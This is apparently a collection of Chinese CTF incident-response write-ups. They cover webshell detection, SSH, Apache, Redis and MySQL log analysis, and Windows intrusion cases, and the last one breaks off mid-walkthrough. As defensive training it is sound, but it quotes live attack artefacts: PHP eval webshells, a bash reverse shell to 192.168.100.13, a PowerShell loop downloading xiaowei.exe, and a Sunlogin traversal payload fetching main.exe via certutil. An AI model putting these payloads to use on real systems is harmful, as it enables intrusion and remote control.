第一章 應急響應-webshell查殺
簡介
靶機賬號密碼 root xjwebshell
1.駭客webshell裡面的flag flag{xxxxx-xxxx-xxxx-xxxx-xxxx}
2.駭客使用的什麼工具的shell github地址的md5 flag{md5}
3.駭客隱藏shell的完整路徑的md5 flag{md5} 注 : /xxx/xxx/xxx/xxx/xxx.xxx
4.駭客免殺馬完整路徑 md5 flag{md5}
1.駭客webshell裡面的flag flag{xxxxx-xxxx-xxxx-xxxx-xxxx}
進去靶機開久了會扣金幣,所以一進去把檔案dump下來
tar -czvf html.tar.gz ./
dump下來之後直接先D盾一把梭先
掃描結果如下
id 級別 大小 CRC 修改時間 檔案 (說明)
--------------------------------------------------------------------------------------------------------------------------------------------
00001 4 38 FEE1C229 23-08-02 10:52:25 \html\shell.php 『Eval後門 {引數:$_REQUEST[1]}』
00002 4 808 3F54B485 23-08-02 10:56:39 \html\include\gz.php 『(內藏)Eval後門 {引數:encode($_SESSION[$payloadName],"3c6e0b8a9c15224a")}』
00003 3 205 D6CF6AC8 23-08-02 16:56:29 \html\wap\top.php 『變數函式[$c($fun)]|可疑檔案』
00004 4 768 3DEFBD91 23-08-02 11:01:06 \html\include\Db\.Mysqli.php 『(內藏)Eval後門 {引數:encode($_SESSION[$payloadName],"3c6e0b8a9c15224a")}』
--------------------------------------------------------------------------------------------------------------------------------------------
有很多,一個一個看在\html\include\gz.php裡看到一行註釋
//027ccd04-5065-48b6-a32d-77c704a5e26d
就是flag了
flag{027ccd04-5065-48b6-a32d-77c704a5e26d}
2.駭客使用的什麼工具的shell github地址的md5 flag{md5}
隨便把shell裡複製出來一段
$data=encode($data,$key);
if (isset($_SESSION[$payloadName])){
$payload=encode($_SESSION[$payloadName],$key);
if (strpos($payload,"getBasicsInfo")===false){
$payload=encode($payload,$key);
然後直接丟github搜
塞不了圖片,直接丟github之後左邊選code就能看到
看到是哥斯拉
https://github.com/BeichenDream/Godzilla
md5一下
flag{39392de3218c333f794befef07ac9257}
3.駭客隱藏shell的完整路徑的md5 flag{md5}注:/xxx/xxx/xxx/xxx/xxx.xxx
隱藏shell我們可以看到d盾掃出來有一個.Mysqli.php的隱藏檔案
完整路徑就是/var/www/html/include/Db/.Mysqli.php
md5後為flag
flag{aebac0e58cd6c5fad1695ee4d1ac1919}
4.駭客免殺馬完整路徑 md5 flag{md5}
至於是不是免殺馬
丟防毒軟體看一下
塞不了圖片,直接丟火絨查殺一下發現有三個都掃出來了,還有一個沒掃出來
發現top.php沒掃出來,那麼就是/var/www/html/wap/top.php了
md5一下之後就是
flag{eeff2eabfd9b7a6d26fc1a53d3f7d1de}
第一章 應急響應-Linux日誌分析
簡介
賬號root密碼linuxrz
ssh root@IP
1.有多少IP在爆破主機ssh的root帳號,如果有多個使用","分割
2.ssh爆破成功登陸的IP是多少,如果有多個使用","分割
3.爆破使用者名稱字典是什麼?如果有多個使用","分割
4.登陸成功的IP共爆破了多少次
5.駭客登陸主機後新建了一個後門使用者,使用者名稱是多少
1.有多少IP在爆破主機ssh的root帳號,如果有多個使用","分割
我們先把/var/log裡面的日誌dump下來
tar -czvf log.tar.gz ./
裡面找到auth.log.1是放ssh的日誌,放到自己虛擬機器用正則分析
看有多少ip在爆,直接找登入失敗的就行了
cat auth.log.1|grep -a "Failed password for root"
輸出
Aug 1 07:42:32 linux-rz sshd[7471]: Failed password for root from 192.168.200.32 port 51888 ssh2
Aug 1 07:47:13 linux-rz sshd[7497]: Failed password for root from 192.168.200.2 port 34703 ssh2
Aug 1 07:47:18 linux-rz sshd[7499]: Failed password for root from 192.168.200.2 port 46671 ssh2
Aug 1 07:47:20 linux-rz sshd[7501]: Failed password for root from 192.168.200.2 port 39967 ssh2
Aug 1 07:47:22 linux-rz sshd[7503]: Failed password for root from 192.168.200.2 port 46647 ssh2
Aug 1 07:52:59 linux-rz sshd[7606]: Failed password for root from 192.168.200.31 port 40364 ssh2
看到就三個ip,那麼flag就是
flag{192.168.200.2,192.168.200.31,192.168.200.32}
這是ip比較少的情況下,ip比較多的話可以用下面命令
cat auth.log.1 | grep -a "Failed password for root" |awk '{print $11}' |uniq -c
輸出
1 192.168.200.32
4 192.168.200.2
1 192.168.200.31
2.ssh爆破成功登陸的IP是多少,如果有多個使用","分割
登入成功就找Accepted的字樣
cat auth.log.1|grep -a "Accepted "
輸出
Aug 1 07:47:23 linux-rz sshd[7505]: Accepted password for root from 192.168.200.2 port 46563 ssh2
Aug 1 07:50:37 linux-rz sshd[7539]: Accepted password for root from 192.168.200.2 port 48070 ssh2
就一個192.168.200.2那麼flag就是
flag{192.168.200.2}
3.爆破使用者名稱字典是什麼?如果有多個使用","分割
我們看爆破字典,要找驗證錯誤的就是"Failed password"
cat auth.log.1|grep -a "Failed password"
輸出
Aug 1 07:40:50 linux-rz sshd[7461]: Failed password for invalid user test1 from 192.168.200.35 port 33874 ssh2
Aug 1 07:41:04 linux-rz sshd[7465]: Failed password for invalid user test2 from 192.168.200.35 port 51640 ssh2
Aug 1 07:41:13 linux-rz sshd[7468]: Failed password for invalid user test3 from 192.168.200.35 port 48168 ssh2
Aug 1 07:42:32 linux-rz sshd[7471]: Failed password for root from 192.168.200.32 port 51888 ssh2
Aug 1 07:46:41 linux-rz sshd[7475]: Failed password for invalid user user from 192.168.200.2 port 36149 ssh2
Aug 1 07:46:47 linux-rz sshd[7478]: Failed password for invalid user user from 192.168.200.2 port 44425 ssh2
Aug 1 07:46:50 linux-rz sshd[7480]: Failed password for invalid user user from 192.168.200.2 port 38791 ssh2
Aug 1 07:46:54 linux-rz sshd[7482]: Failed password for invalid user user from 192.168.200.2 port 37489 ssh2
Aug 1 07:46:56 linux-rz sshd[7484]: Failed password for invalid user user from 192.168.200.2 port 35575 ssh2
Aug 1 07:46:59 linux-rz sshd[7486]: Failed password for invalid user hello from 192.168.200.2 port 35833 ssh2
Aug 1 07:47:02 linux-rz sshd[7489]: Failed password for invalid user hello from 192.168.200.2 port 37653 ssh2
Aug 1 07:47:04 linux-rz sshd[7491]: Failed password for invalid user hello from 192.168.200.2 port 37917 ssh2
Aug 1 07:47:08 linux-rz sshd[7493]: Failed password for invalid user hello from 192.168.200.2 port 41957 ssh2
Aug 1 07:47:10 linux-rz sshd[7495]: Failed password for invalid user hello from 192.168.200.2 port 39685 ssh2
Aug 1 07:47:13 linux-rz sshd[7497]: Failed password for root from 192.168.200.2 port 34703 ssh2
Aug 1 07:47:18 linux-rz sshd[7499]: Failed password for root from 192.168.200.2 port 46671 ssh2
Aug 1 07:47:20 linux-rz sshd[7501]: Failed password for root from 192.168.200.2 port 39967 ssh2
Aug 1 07:47:22 linux-rz sshd[7503]: Failed password for root from 192.168.200.2 port 46647 ssh2
Aug 1 07:47:26 linux-rz sshd[7525]: Failed password for invalid user from 192.168.200.2 port 37013 ssh2
Aug 1 07:47:30 linux-rz sshd[7528]: Failed password for invalid user from 192.168.200.2 port 37545 ssh2
Aug 1 07:47:32 linux-rz sshd[7530]: Failed password for invalid user from 192.168.200.2 port 39111 ssh2
Aug 1 07:47:35 linux-rz sshd[7532]: Failed password for invalid user from 192.168.200.2 port 35173 ssh2
Aug 1 07:47:39 linux-rz sshd[7534]: Failed password for invalid user from 192.168.200.2 port 45807 ssh2
Aug 1 07:52:59 linux-rz sshd[7606]: Failed password for root from 192.168.200.31 port 40364 ssh2
東西太多了,我們用命令匹配一下,要匹配for和form之間的字元
cat auth.log.1|grep -a "Failed password"| grep -o 'for .* from'|sort -nr|uniq -c
輸出
6 for root from
5 for invalid user user from
1 for invalid user test3 from
1 for invalid user test2 from
1 for invalid user test1 from
5 for invalid user hello from
5 for invalid user from
那麼就得到字典
flag{root,user,hello,test3,test2,test1}
看來是順序不對啊,這個順序問題也太怪了,不得不吐槽的問題,那可能就是要原始的順序把
cat auth.log.1|grep -a "Failed password"| grep -o 'for .* from'|uniq -c|sort -nr
輸出
5 for invalid user user from
5 for invalid user hello from
5 for invalid user from
4 for root from
1 for root from
1 for root from
1 for invalid user test3 from
1 for invalid user test2 from
1 for invalid user test1 from
flag就為
flag{user,hello,root,test3,test2,test1}
4.登陸成功的IP共爆破了多少次
cat auth.log.1|grep -a "192.168.200.2"|grep "for root"
4次
flag{4}
5.駭客登陸主機後新建了一個後門使用者,使用者名稱是多少
直接登/etc/passwd看,發現是test2,直接找也可以
cat auth.log.1|grep -a "new user"
輸出
Aug 1 07:50:45 linux-rz useradd[7551]: new user: name=test2, UID=1000, GID=1000, home=/home/test2, shell=/bin/sh
Aug 1 08:18:27 ip-172-31-37-190 useradd[487]: new user: name=debian, UID=1001, GID=1001, home=/home/debian, shell=/bin/bash
flag就是
flag{test2}
第一章 應急響應- Linux入侵排查
簡介
賬號:root 密碼:linuxruqin
ssh root@IP
1.web目錄存在木馬,請找到木馬的密碼提交
2.伺服器疑似存在不死馬,請找到不死馬的密碼提交
3.不死馬是透過哪個檔案生成的,請提交檔名
4.駭客留下了木馬檔案,請找出駭客的伺服器ip提交
5.駭客留下了木馬檔案,請找出駭客伺服器開啟的監埠提交
1.web目錄存在木馬,請找到木馬的密碼提交
到/var/www把html目錄dump下來先
tar -czvf html.tar.gz ./
直接先丟d盾開掃,掃出來結果如下
id 級別 大小 CRC 修改時間 檔案 (說明)
--------------------------------------------------------------------------------------------------------------------------------------------
00001 4 88 70B2B130 21-01-01 08:00:01 \.shell.php 『Eval後門 {引數:$_POST[cmd]}』
00002 4 24 F46D132A 23-08-03 10:15:23 \1.php 『Eval後門 {引數:$_POST[1]}』
00003 1 655360 A3580725 23-08-03 10:45:11 \html\1.tar 『可疑檔案』
00004 1 722 17D041A4 23-08-03 10:40:18 \html\index.php 『可疑檔案』
--------------------------------------------------------------------------------------------------------------------------------------------
//原來已經給我們打包好了 = =
看到1.php裡面的
<?php eval($_POST[1]);?>
密碼就是1
flag{1}
2.伺服器疑似存在不死馬,請找到不死馬的密碼提交
在index.php中有一段話
$file = '/var/www/html/.shell.php';
$code = '<?php if(md5($_POST["pass"])=="5d41402abc4b2a76b9719d911017c592"){@eval($_POST[cmd]);}?>';
file_put_contents($file, $code);
明顯是寫不死馬的,我們把md5丟cmd5裡爆破一下得到密碼hello
那麼就是
flag{hello}
3.不死馬是透過哪個檔案生成的,請提交檔名
上面我們看到index.php是寫不死馬的,那麼flag就是
flag{index.php}
4.駭客留下了木馬檔案,請找出駭客的伺服器ip提交
我們看到還有一個shell.elf沒處理
理論上是要丟ida逆向一下的,但是不會,只能找其他方法了= =
我們丟虛擬機器上run一下
chmod +x shell.elf
./shell.elf
然後檢視一下網路連線
netstat -antlp
輸出裡面有一個
tcp 0 1 192.168.1.130:49774 10.11.55.21:3333 SYN_SENT
看到ip就是10.11.55.21
flag{10.11.55.21}
5.駭客留下了木馬檔案,請找出駭客伺服器開啟的監埠提交
埠就是3333
flag{3333}
第二章 日誌分析-redis應急響應
flag1
透過本地 PC SSH到伺服器並且分析駭客攻擊成功的 IP 為多少,將駭客 IP 作為 FLAG 提交;
檢視redis日誌 (路徑 /var/log/redis.log)
暫時無法在飛書文件外展示此內容
用notepad++ 正規表示式匹配Ip
\b(?:\d{1,3}\.){3}\d{1,3}\b
然後將標記文字複製到新檔案裡面檢視,很明顯看出192.168.100.13居多,結合日誌很多報Eeeor的都與192.168.100.13有關
flag{192.168.100.20}
flag2
透過本地 PC SSH到伺服器並且分析駭客第一次上傳的惡意檔案,將駭客上傳的惡意檔案裡面的 FLAG 提交;
觀察日誌,
上面部分是駭客進行攻擊爆破時的日誌,後面與上面不一樣,多半就是駭客爆破成功後進行的操作,我們重點關注後面的內容
在裡面找到一個可疑的操作
暫時無法在飛書文件外展示此內容
用Notepad++開啟看看
搜尋flag{
裡面發現了flag
flag{XJ_78f012d7-42fc-49a8-8a8c-e74c87ea109b}
flag3
透過本地 PC SSH到伺服器並且分析駭客反彈 shell 的IP 為多少,將反彈 shell 的IP 作為 FLAG 提交;
對於redis資料庫提權一般來說有4種方法
- 寫金鑰ssh
- 計劃任務
- 反彈shell
- CVE-2022-0543 沙盒繞過命令執行 (整合在template當中)
這裡面可以先排除反彈shell與CVE-2022-0543 因為反彈shell很容易出問題導致連線失敗。
先看下有沒有寫公鑰
cat /root/.ssh/authorized_keys
可以看到是寫了公鑰的。但僅靠公鑰我們是找不到反彈Ip的
再檢視計劃任務
crontab -l
成功發現反彈shell命令
flag{192.168.100.13}
flag4
透過本地 PC SSH到伺服器並且溯源分析駭客的使用者名稱,並且找到駭客使用的工具裡的關鍵字串(flag{駭客的使用者-關鍵字串} 注關鍵字串 xxx-xxx-xxx)。將使用者名稱和關鍵字串作為 FLAG提交
在flag3中,我們發現了公鑰,公鑰後面就有駭客的使用者名稱xj-test-user
後面的關鍵字串找了半天沒發現。後面看了Wp才知道,用使用者名稱去github裡面搜尋
GitHub - xj-test-user/redis-rogue-getshell
連起來
flag{xj-test-user-wow-you-find-flag}
flag5
透過本地 PC SSH到伺服器並且分析駭客篡改的命令,將駭客篡改的命令裡面的關鍵字串作為 FLAG 提交;
大多數Linux命令都是編譯後的二進位制可執行檔案
這些可執行檔案一般放置於 /bin、/sbin、/usr/bin、/usr/sbin 等目錄中
我們到/bin目錄 按照時間順序檢視最新的檔案
cat /bin/ps
可以發現ps命令被篡改了
flag{c195i2923381905517d818e313792d196}
總結
- 瞭解redis提權的4種方式
- 寫金鑰ssh
- 計劃任務
- 反彈shell
- CVE-2022-0543 沙盒繞過命令執行 (整合在template當中)
- 學會利用正規表示式進行過濾 notepad++ 匹配ip
\b(?:\d{1,3}\.){3}\d{1,3}\b
- 尋找工具的關鍵程式碼可以用關鍵資訊到github進行搜尋
- 篡改的命令一般位於**/bin、/sbin、/usr/bin、/usr/sbin** 等目錄中,利用時間排序快速篩選出被串改的命令
第二章 日誌分析-Mysql 應急響應
查詢第一次寫入的 Shell
首先切換到網站路徑
cd /var/www/html
打包原始碼使用 D 盾進行掃描
tar -czvf web.tar.gz ./*
發現sh.php中存在eval()函式,確定此檔案為寫入的 Shell,在 Shell 中找到 Flag 為ccfda79e-7aa1-4275-bc26-a6189eb9a20b
尋找反彈 Shell IP
這裡我們需要尋找 Mysql 的報錯日誌,路徑如下:
/var/log/mysql/error.log
在日誌中找到一個可疑的1.sh指令碼
/tmp/1.sh: line 1: --2023-08-01: command not found
/tmp/1.sh: line 2: Connecting: command not found
/tmp/1.sh: line 3: HTTP: command not found
/tmp/1.sh: line 4: Length:: command not found
/tmp/1.sh: line 5: Saving: command not found
/tmp/1.sh: line 7: 0K: command not found
/tmp/1.sh: line 9: syntax error near unexpected token `('
/tmp/1.sh: line 9: `2023-08-01 02:16:35 (5.01 MB/s) - '1.sh' saved [43/43]'
檢視1.sh的具體如下,可以發現攻擊者反彈 Shell 的 IP,這段指令碼啟動了 Bash Shell,將流量重定向到 TCP 連線上,實現反彈 Shell 的目的,故 Flag 為192.168.100.13
bash -i >&/dev/tcp/192.168.100.13/777 0>&1
尋找提權檔案
因為本關都是關於 Mysql 的應急響應,故猜測提權方式也和 Mysql 有關,關於 Mysql 的提權方法有四種,分別是:
- UDF 提權
- MOF 提權
- 啟動項提權
- CVE-2016-6663
基於目前的環境我們可以排除 MOF 提權(Windows 下可利用),啟動項提權(Windows 下可利用),而 CVE-2016-6663 需要 MariaDB <= 5.5.51 或 10.0.x <= 10.0.27 或 10.1.x <= 10.1.17,而我們環境的 MariaDB 版本為 5.5.64,不在此漏洞的影響版本內,也可以排除掉
所以目前只剩 UDF 提權一種方法,我們只需排查這個提權方式即可,UDF 提權是基於自定義函式實現的,而自定義函式的前提是 UDF 的動態連結庫檔案放置於 MySQL 安裝目錄下的lib\plugin資料夾,故我們需要登入 Mysql 對 plugin 關鍵字進行排查
一般來說,在/etc/mysql/my.cnf會儲存 Mysql 的登入密碼,但是本關在這裡並沒有找到密碼
在網站目錄下存在一個common.php,是網站的配置檔案,包含 Mysql 的賬戶密碼
/var/www/html/common.php
之後登入 Mysql 進行排查
mysql -uroot -p334cc35b3c704593
之後對 plugin 關鍵詞進行排查,顯示所有與 plugin 相關的系統變數
show variables like '%plugin%';
發現一個有效變數為plugin_dir,對其路徑進行排查
發現一個udf.so,也就變相驗證了我們剛才的排查思路沒錯
最終完整路徑如下,故 MD5 加密為 Flag 為b1818bde4e310f3d23f1005185b973e7
/usr/lib/mysql/plugin/udf.so
確定攻擊者獲得的許可權
使用ps -aux命令檢視程序的詳細資訊,可以看到提權檔案的執行後的許可權為mysql,故 Flag 為 mysql
第二章 日誌分析-Apache 日誌分析
登入靶機,我們的目的是分析 Apache 的日誌,Apache+Linux 日誌路徑一般是以下三種:
- /var/log/apache/access.log
- /var/log/apache2/access.log
- /var/log/httpd/access.log
這裡我們可以發現/var/log目錄下有apache2資料夾,也就是上面的第二種路徑
切換到/var/log/apache2路徑,使用ls -l列出當前路徑下的所有檔案,發現access.log是空的,這裡我們分析access.log.1
訪問次數最多的 IP
這裡手動查詢出訪問次數最多的 IP,命令如下,這個命令用於統計access.log.1檔案中每個獨特的第一部分出現的次數,並顯示出現次數最多的前 20 個,這裡查詢出的 IP 為192.168.200.2
cut -d- -f 1 access.log.1|uniq -c | sort -rn | head -20
查詢指紋
第二個 Flag 要求我們查詢攻擊者的指紋,我們可以根據 IP 在日誌中進行反查,所以我們在access.log.1檔案中匹配192.168.200.2,提取出指紋為Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36,轉為 md5 為2d6330f380f44ac20f3a02eed0958f66
cat access.log.1 |grep "192.168.200.2"
檢視頁面訪問次數
第三個 Flag 是index.php頁面被訪問的次數,首先在日誌中識別/index.php,之後使用管道符進行拼接,最後使用wc(word count)命令進行計數,-l引數就是隻計算行數,最終結果為 27
grep "/index.php" access.log.1 |wc -l
檢視 IP 訪問次數
第四個 Flag 和第三個基本一致,差別在於如果直接使用grep "192.168.200.2"會匹配到192.168.200.211這個 IP,造成錯誤
所以這裡我們使用-w引數進行全匹配,這樣就只查詢192.168.200.2的個數了,最終結果是6555
grep -w "192.168.200.2" access.log.1 |wc -l
檢視時間段內的 IP
第五個 Flag 要求檢視 2023年8月03日8時 這一個小時內有多少IP訪問,這個時間段在日誌中表示為03/Aug/2023:08:
這裡使用grep命令匹配這個時間段,之後使用awk命令列印出匹配日誌的第一個欄位(IP 地址),最後使用sort命令進行數字(-n)逆序(-r),使用 uniq -c 命令計算每個獨特IP地址的出現次數
cat access.log.1 | grep "03/Aug/2023:08:" | awk '{print $1}' | sort -nr| uniq -c
最終查詢出有五個 IP 在此時間段內進行訪問
第三章 許可權維持-linux許可權維持-隱藏
- 駭客隱藏的隱藏檔案
find / -type f -name ".*" 2>/dev/null | grep -v "^\/sys\/" // 查詢隱藏檔案
find / -type d -name ".*" 2>/dev/null // 查詢隱藏目錄
這個目錄很可疑,進入檢視 只有這個1.py存在執行許可權,對這個目錄檔案 /tmp/.temp/libprocesshider/1.py 加密,提交 flag{109ccb5768c70638e24fb46ee7957e37}
- 檔案反彈shell的IP以及埠
這個可以直接檢視這個1.py內容,但是在/tmp下存在一個1.sh但是無法執行,提交flag{114.114.114.121:9999}
- 駭客提權所用的命令 完整路徑
find / -type f -perm -4000 2>/dev/null // 查詢設定了suid許可權的程式
可以手動切換到ctf使用者,測試 對 /usr/bin/find md5加密,提交 flag{7fd5884f493f4aaf96abee286ee04120}
- 駭客嘗試注入惡意程式碼的工具完整路徑
繼續回到之前使用find查詢隱藏目錄 這個目錄透過查詢是一個注入工具 對該工具的完整路徑 /opt/.cymothoa-1-beta/cymothoa 加密,提交 flag{087c267368ece4fcf422ff733b51aed9}
- 使用命令執行 ./x.xx 執行該檔案 將查詢的 Exec** 值 作為flag提交
python3 /tmp/.temp/libprocesshider/1.py` 執行完成後,檢視網路連線 ![image.png](https://file-prod.xj.edisec.net/writeup/OB9OA5Vuo5uu7S7F) 根據PID查詢程式 `cat /proc/486/cmdLine` ![image.png](https://file-prod.xj.edisec.net/writeup/n76mzkAUy2S0ZBRB) 根據題目要求,需要提供完整的執行程式 `whereis python3` ![image.png](https://file-prod.xj.edisec.net/writeup/YjhrugS01n7IOjpb) 提交 `flag{/usr/bin/python3.4}
第四章 windows實戰-emlog
1、透過本地 PC RDP到伺服器並且找到駭客植入 shell,將駭客植入 shell 的密碼 作為 FLAG 提交; 進入phpstudy目錄,檢視access.log,找到駭客連線的shell路徑,開啟看到密碼是冰蠍預設的rebeyond
flag{rebeyond}
2、透過本地 PC RDP到伺服器並且分析駭客攻擊成功的 IP 為多少,將駭客 IP 作為 FLAG 提交; 還是看access.log,連線shell的ip就是駭客的ip
flag{192.168.126.1}
3、透過本地 PC RDP到伺服器並且分析駭客的隱藏賬戶名稱,將駭客隱藏賬戶名稱作為 FLAG 提交; 檢視控制皮膚,帶$的是隱藏賬戶
flag{hacker138}
4、透過本地 PC RDP到伺服器並且分析駭客的挖礦程式的礦池域名,將駭客挖礦程式的礦池域名稱作為(僅域名)FLAG 提交; 在hacker138使用者的桌面找到Kuang.exe,是用python打包的,用ppyinstxtractor.py先解包,再用uncompyle6反編譯Kuang.pyc,在程式碼中找到域名
flag{wakuang.zhigongshanfang.top}
第四章-windows日誌分析
題目描述:
某臺Windows伺服器遭到攻擊者入侵,管理員檢視發現存在大量rdp爆破的請求,攻擊者使用了不同位置的IP(此處模擬),進行爆破併成功,併成功進入了系統,進入系統後又做了其它危害性操作,請根據各題目完成填寫
題目來源公眾號 州弟學安全
文件:https://mp.weixin.qq.com/s/eJpsOeaEczcPE-uipP7vCQ
任務環境說明
本次環境來自大賽+實戰等環境,思路和靈感感謝Zeal大哥提供,基本圍繞應急響應中重要的幾點去排查
開放題目
審計桌面的logs日誌,定位所有掃描IP,並提交掃描次數
暫時無法在飛書文件外展示此內容
分析acceess.log 可以發現裡面主要有比較可疑
先看一下有哪些ip訪問過
cut access.log -d - -f 1 |uniq -c |sort -rn |head -100
排除掉本地 127.0.0.1的ip就剩下
192.168.150.1 524次
192.168.150.67 6331次
192.168.150.33 54次
192.168.150.60 1次
再開啟日誌大概看一下每個ip的訪問記錄
觀察後可以發現192.168.150.1的訪問日誌,其訪問的路徑都是public下的一些目錄。屬於正常訪問。所以可以排除,而192.168.150.60 只有一次 也可以排除
所以掃描IP就是
192.168.150.67 6331次
192.168.150.33 54次
統計次數也可以用notepad++進行標記
flag{6385}
審計相關日誌,提交rdp被爆破失敗次數
分享一個工具可以幫助我們快速分析windows日誌
暫時無法在飛書文件外展示此內容
這裡我們開啟工具,檢視登入失敗的日誌(登入失敗的事件id為4625)
選擇all rows 然後全選複製到excel裡面就可以看到有多少次
flag{2594}
審計相關日誌,提交成功登入rdp的遠端IP地址,多個以&連線,以從小到大順序排序提交
同樣用工具 檢視遠端桌面登入成功日誌 (事件id 4624)
可以複製到excel裡面 相對好看些
注: 後面的兩條 2024-9-17 的rdp登入記錄不算。這是我打靶時進行Rdp連線的
flag{192.168.150.1&192.168.150.128&192.168.150.178}
提交駭客建立的隱藏賬號
檢視歷史使用者新增情況
這裡有兩個賬戶hacker 與 hackers 對應建立的隱藏賬戶與影子賬戶
PS:建立使用者的事件id為 4720
flag{hacker$}
提交駭客建立的影子賬號
flag{hackers$}
提交遠端shell程式的連線IP+埠,以IP:port方式提交
看第7題
flag{185.117.118.21:4444}
駭客植入了一個遠端shell,審計相關程序和自啟動項提交該程式名字
win+r 輸入 msconfig 檢視啟動項
發現有一個可疑程式 xiaowei.exe
用雲沙鄉看看
flag{xiaowei.exe}
檢視網路行為,可以得到第6題的答案
駭客使用了計劃任務來定時執行某shell程式,提交此程式名字
win+r 輸入 taskschd.msc
檢視計任務
一眼就可以發現一個很可疑的任務名 download
點進去看一下,發現與後門程式有關,基本就可以實錘了
檢視操作可以獲取到執行shell程式的名字
download.bat的內容
@echo off
:loop
echo Requesting download from 185.117.118.21:1111/xiaowei.exe...
start /b powershell -Command "Invoke-WebRequest -Uri 'http://185.117.118.21/xiaowei.exe' -OutFile 'C:\Windows\system64\systemWo\xiaowei.exe'"
timeout /t 300 /nobreak >nul
goto loop
flag{download.bat}
第四章 windows實戰-向日葵
題目1
透過本地 PC RDP到伺服器並且找到駭客首次攻擊成功的時間為 為多少,將駭客首次攻擊成功的時間為 作為 FLAG 提交(2028-03-26 08:11:25.123);
日誌路徑:C:\Program Files\Oray\SunLogin\SunloginClient\log
特徵:WindowsPowerShell
找到最早出現的記錄:2024-03-26 10:16:25.585 - Info - [Acceptor][HTTP] new RC HTTP connection 192.168.31.45:64247, path: /check?cmd=ping..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fwindows%2Fsystem32%2FWindowsPowerShell%2Fv1.0%2Fpowershell.exe+whoami, version: HTTP/1.1
flag:flag{2024-03-26 10:16:25.585}
題目2
透過本地 PC RDP到伺服器並且找到駭客攻擊的 IP 為多少,將駭客攻擊 IP 作為 FLAG 提交;
看到上面的記錄,connection後面就是對方的IP地址。
flag:flag{192.168.31.45}
題目3
透過本地 PC RDP到伺服器並且找到駭客託管惡意程式 IP 為,將駭客託管惡意程式 IP 作為 FLAG 提交;
關鍵字ping
隨便翻一翻看一下payload,就看到了IP:192.168.31.249
2024-03-26 10:31:07.576 - Info - [Acceptor][HTTP] new RC HTTP connection 192.168.31.45:49329,/check?cmd=ping..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fwindows%2Fsystem32%2FWindowsPowerShell%2Fv1.0%2Fpowershell.exe+certutil+-urlcache+-split+-f+http%3A%2F%2F192.168.31.249%2Fmain.exe, plugin:check, session:sobGzXzWBfSlSbdqnmkUbJMLEjhssRx1
flag:flag{192.168.31.249}
題目4
找到駭客解密 DEC 檔案,將駭客DEC 檔案的 md5 作為 FLAG 提交;
在C:/Windwos/System32下有一個qq.txt,是一個QQ群647224830,加進去下載群檔案
計算一下md5的值:certutil -hashfile DEC.pem MD5
flag:flag{5ad8d202f80202f6d31e077fc9b0fc6b}
題目5
透過本地 PC RDP到伺服器並且解密駭客勒索軟體,將桌面加密檔案中關鍵資訊作為 FLAG 提交;
桌面的加密檔案:
N2xTZ2Bsn2Y5lve7KZ36bgsFjqncBs55VO0zkeEIr5Iga/kbegA0BAstotBWnZ16+trNfkzl3apUobodMkC8covEo22p+kWAyVjMRyJ98EQ4Pspr/Y5HIuH0xuvPa82j7b0AMJHkyd2viuymI/mrxjJk2X0xlEE4YVioMLd22+w=
Your files have been encrypted
0sWK8adKSGh1Xaxo6n1mZFoyNDYVokXwkBhxnzxU+MEJIV44u48SdOiFzWLn849hObaP6z26lLtMnXaDUnAPuMh+nF2hw9RoAsur7KYxE8/iY/y4jOEBsHT5wvQldcNfntrDyMUCvrWTUHl2yapUmaIIf2rZsNsqMVJ9puZzp58+FJmulyC7R1C2yoP1jHhsdOkU7htbzUWWsm2ybL+eVpXTFC+i6nuEBoAYhv2kjSgL8qKBFsLKmKQSn/ILRPaRYDFP/srEQzF7Y4yZa4cotpFTdGUVU547Eib/EaNuhTyzgOGKjXl2UYxHM/v0c3lgjO7GDA9eF3a/BBXPAgtK126lUfoGK7iSAhduRt5sRP4=
前半部分是RSA加密的AES金鑰,後半部分是AES加密的原內容,依次進行解密
- RSA
- AES
flag:flag{EDISEC_15c2e33e-b93f-452c-9523-bbb9e2090cd1}
第四章 windows實戰-wordpress
1.請提交攻擊者攻擊成功的第一時間 日誌儲存位置C:\phpstudy_pro\Extensions\Nginx1.15.11\logs\access.log 駭客一直在爆破後臺,從最後一個POST登陸請求之後,訪問/manage/welcome.php就返回200了 所以時間是29/Apr/2023:22:45:23 flag{2023:04:29 22:45:23} 2、請提交攻擊者的瀏覽器版本 flag{Firefox/110.0} 3、請提交攻擊者目錄掃描所使用的工具名稱 在日誌中,發現掃描器特徵 flag{Fuzz Faster U Fool} 4、找到攻擊者寫入的惡意後門檔案,提交檔名 使用D盾掃描一下 flag{C:\phpstudy_pro\WWW\.x.php} 5、找到攻擊者隱藏在正常web應用程式碼中的惡意程式碼,提交該檔名 同上,已經在D盾中顯示出來 flag{C:\phpstudy_pro\WWW\usr\themes\default\post.php} 6、請指出可疑程序採用的自動啟動的方式,啟動的指令碼的名字 檢視自啟動檔案目錄 C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp C:\Users\Administrator\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup 並無可疑檔案,接下來檢視Temp目錄和Windows目錄 在Windows目錄下,發現可疑檔案 x.bat啟動了360.exe 將360.exe上傳微步看看,發現是木馬 flag{x.bat}
第四章 windows實戰-黑頁&&篡改
靶場啟動之後,中間位置出現了兩個 IP 地址,直接 mstsc 連線即可
▲ 遠端連線靶機
瞅一眼桌面,貌似可能會有用的:一個 phpstudy、一個 tool.cmd
▲ 靶機桌面
來都來了,看一眼這個 tool.cmd 是嘛玩意?
▲ tool.cmd 檔案
貌似沒什麼卵用,PASS,直接看看 phpstudy 吧
▲ 靶機上的 phpstudy
apache 正在執行、mysql 正在執行。妥了,就看 apache 日誌了,抓緊時間,複製到本機,趕在五分鐘之前,桀桀桀~
▲ copy 到本地的 apache 日誌
開啟 access.log 一看,有點懵逼,空的? error.log 呢?
有點內容,但不多,貌似,並沒有什麼有價值的資訊。什麼情況?
▲ apache 日誌
Fuck... 被坑了,apache 日誌包除了少量的 error.log 之外,其他都是 0kb
趕緊,nginx 日誌....
▲ nginx 日誌
*首次薅羊毛失敗....*
算了,一向情緒穩定的我,這點小事,不礙事,繼續...
開啟日誌,隨便翻翻,瀏覽器版本、掃描工具,貌似很明顯。
emmm
先找攻擊成功的時間吧,畢竟 flag 要按照順序提交的。
▲ 一些疑似瀏覽器版本和掃描工具的資訊
攻擊成功,優先找 response code 為 200 的吧。
